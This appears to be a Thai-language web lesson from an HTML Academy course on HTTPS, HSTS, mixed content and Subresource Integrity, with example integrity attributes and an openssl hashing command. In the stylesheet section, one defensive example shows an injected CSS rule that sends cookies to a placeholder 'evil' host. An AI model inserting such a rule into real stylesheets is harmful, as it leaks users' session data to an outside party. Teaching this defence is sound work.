HTML Academy · บทเรียน

HTTPS และความสมบูรณ์ของทรัพยากรย่อย

ตรวจสอบความสมบูรณ์ของทรัพยากรภายนอกด้วยแอตทริบิวต์ integrity

HTTPS และความสมบูรณ์ของทรัพยากรย่อย เป็นบทเรียน HTML Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน HTML Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส HTML Academy มีบทเรียนทั้งหมด 4 บทเรียน

เหตุใดจึงต้องใช้ HTTPS ทุกที่

เอชทีทีพีเอสเข้ารหัสข้อมูลระหว่างการส่งและยืนยันตัวตนของเซิร์ฟเวอร์ หากไม่มีเอชทีทีพีเอส ผู้โจมตีบนเครือข่ายเดียวกัน เช่น เครือข่ายไวไฟของร้านกาแฟ ISP หรือผู้โจมตีที่ได้รับการสนับสนุนจากรัฐ จะอ่านข้อมูลได้ทุกไบต์และแทรกเนื้อหาที่เป็นอันตรายลงในการตอบกลับ เบราว์เซอร์สมัยใหม่จะแสดงหน้าเอชทีทีพีเป็น "ไม่ปลอดภัย" และส่วนติดต่อโปรแกรมจำนวนมาก เช่น กล้อง ตำแหน่งทางภูมิศาสตร์ และตัวทำงานเบื้องหลัง จะไม่ยอมทำงานผ่านเอชทีทีพี

เนื้อหาผสม

การโหลดทรัพยากรเอชทีทีพีจากหน้าเอชทีทีพีเอสเรียกว่าเนื้อหาผสม เบราว์เซอร์จะบล็อกเนื้อหาผสมแบบทำงานอยู่ เช่น สคริปต์ เฟรมฝัง และสไตล์ชีต โดยตรง และจะแจ้งเตือนเกี่ยวกับเนื้อหาผสมแบบไม่ทำงาน เช่น รูปภาพ ควรโหลดทรัพยากรทุกอย่างผ่านเอชทีทีพีเอสเสมอ ใช้ที่อยู่เว็บแบบสัมพันธ์กับโพรโทคอล (//cdn.example.com) หรือใช้ https:// แบบเต็ม

HSTS

ส่วนหัวการตอบกลับ Strict-Transport-Security ของการรักษาความปลอดภัยการส่งข้อมูลอย่างเข้มงวดผ่านเอชทีทีพี จะบอกเบราว์เซอร์ให้ปฏิเสธการเชื่อมต่อเอชทีทีพีไปยังโดเมนของคุณในอนาคต เมื่อ HSTS ถูกแคชแล้ว ผู้โจมตีจะไม่สามารถลดระดับผู้ใช้ให้กลับไปใช้เอชทีทีพีได้ แม้อยู่ในตำแหน่งคนกลางระหว่างการสื่อสาร

เหตุใดจึงต้องใช้ SRI

การโหลดสคริปต์จาก CDN ของบุคคลที่สามสะดวกแต่มีความเสี่ยง หาก CDN ถูกเจาะ ผู้โจมตีอาจเปลี่ยนสคริปต์เป็นมัลแวร์ได้ SRI จะทำให้เบราว์เซอร์ตรวจสอบค่าแฮชเข้ารหัสของไฟล์ก่อนเรียกใช้ และปฏิเสธการทำงานหากค่าแฮชไม่ตรงกัน

แอตทริบิวต์ความถูกต้อง

เพิ่มค่าแฮช SHA-256/384/512 ที่เข้ารหัสแบบ base64 ลงในแท็กสคริปต์: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script> เบราว์เซอร์จะคำนวณค่าแฮชของไฟล์ที่ดาวน์โหลด และปฏิเสธการทำงานหากค่าไม่ตรงกัน

<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
  crossorigin="anonymous">

การสร้างค่าแฮช

สร้างค่าแฮชด้วย openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A หรือใช้ปลั๊กอินเครื่องมือสร้างระบบที่สร้างแอตทริบิวต์ความถูกต้องให้อัตโนมัติ บริการ CDN ส่วนใหญ่จะแสดงแท็ก SRI ไว้ในส่วนตัวอย่างสำหรับคัดลอกและวาง

ต้องมีการอนุญาตข้ามต้นทาง

SRI ต้องให้การตอบกลับข้ามต้นทางอนุญาตการตรวจสอบความถูกต้องผ่าน CORS เพิ่ม crossorigin="anonymous" ในแท็ก และตรวจสอบให้ CDN ส่ง Access-Control-Allow-Origin หากไม่มีสิ่งนี้ เบราว์เซอร์จะปฏิเสธการตรวจสอบและทรัพยากรจะโหลดไม่สำเร็จ

ค่าแฮชหลายรายการ

แอตทริบิวต์ความถูกต้องสามารถเก็บค่าแฮชหลายรายการที่คั่นด้วยช่องว่างได้ ซึ่งมีประโยชน์ระหว่างการเปลี่ยนรุ่น โดยระบุค่าแฮชของทั้งรุ่นเก่าและรุ่นใหม่ แล้วเบราว์เซอร์จะยอมรับรุ่นใดก็ได้ที่ CDN ส่งมา ควรหลีกเลี่ยงการใช้ค่าแฮชมากกว่าสองสามรายการเพื่อให้แอตทริบิวต์อ่านง่าย

SRI สำหรับสไตล์ชีต

SRI ยังช่วยป้องกัน <link rel="stylesheet"> ได้ด้วย ไฟล์ CSS ที่ถูกเจาะอาจอันตรายน้อยกว่าสคริปต์ที่ถูกเจาะโดยตรง แต่ background: url("//evil/log?cookie=...") ที่ถูกแทรกยังสามารถนำข้อมูลออกไปได้ ใช้ SRI กับทรัพยากรภายนอกทุกชนิดเมื่อทำได้

การโฮสต์เองมักเป็นทางเลือกที่ดีกว่า

SRI ช่วยลดผลกระทบจากการถูกเจาะของ CDN แต่ไม่สามารถแก้ปัญหาได้ทุกอย่าง หากค่าแฮชบน CDN เปลี่ยน หน้าเว็บของคุณจะทำงานไม่ได้จนกว่าจะอัปเดตแอตทริบิวต์ความถูกต้อง สำหรับไลบรารีสำคัญ ควรโฮสต์ไฟล์ที่คุณตรวจสอบแล้วไว้เอง วิธีเดียวนี้ช่วยขจัดทั้งการตรึงค่า SRI และความเสี่ยงจากห่วงโซ่อุปทาน

ประสิทธิภาพ

SRI เพิ่มการคำนวณค่าแฮชสำหรับทรัพยากรแต่ละรายการ ซึ่งแทบไม่มีผลกระทบบนอุปกรณ์สมัยใหม่ ใช้เวลาเพียงไมโครวินาทีต่อกิโลไบต์ การป้องกันการโจมตีห่วงโซ่อุปทานที่ได้รับมีค่ามากกว่าต้นทุนนี้อย่างมาก จึงไม่มีเหตุผลด้านประสิทธิภาพที่จะข้าม SRI เมื่อโหลดจาก CDN

ข้อจำกัด

SRI ตรวจสอบไบต์ที่ระบุไว้เท่านั้น ไม่ได้ป้องกันกรณีที่ CDN ส่งไฟล์ต่างกันให้ผู้ใช้บางรายเพื่อเจาะจงเป้าหมาย สำหรับการรับประกันระดับสูงสุด ควรใช้ SRI ร่วมกับเอชทีทีพีเอส HSTS CSP และโฮสต์ทรัพยากรที่สำคัญที่สุดไว้เอง

ทดสอบความรู้

แอตทริบิวต์ความถูกต้องบนแท็กสคริปต์ช่วยป้องกันอะไร

สรุป

เอชทีทีพีเอสเข้ารหัสและยืนยันตัวตน HSTS ป้องกันการโจมตีแบบลดระดับ และ SRI ตรวจสอบว่าไฟล์จากบุคคลที่สามไม่ถูกแก้ไข เพิ่มค่าแฮชความถูกต้องพร้อม crossorigin="anonymous" ให้กับสคริปต์และสไตล์ชีตภายนอกทุกไฟล์จาก CDN ที่คุณควบคุมไม่ได้ สำหรับทรัพยากรที่สำคัญที่สุด ควรโฮสต์เองแทน เพื่อขจัดความเสี่ยงจากห่วงโซ่อุปทานโดยสิ้นเชิง

คำถามที่พบบ่อย

บทเรียน “HTTPS และความสมบูรณ์ของทรัพยากรย่อย” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “HTTPS และความสมบูรณ์ของทรัพยากรย่อย” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส HTML Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส HTML Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “HTTPS และความสมบูรณ์ของทรัพยากรย่อย”

ตรวจสอบความสมบูรณ์ของทรัพยากรภายนอกด้วยแอตทริบิวต์ integrity คุณปฏิบัติ HTML Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน HTML Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน HTML Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน

บทเรียน “HTTPS และความสมบูรณ์ของทรัพยากรย่อย” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน HTML Academy นี้ได้ไหม

ได้ บทเรียน HTML Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

← กลับไปที่ HTML Academy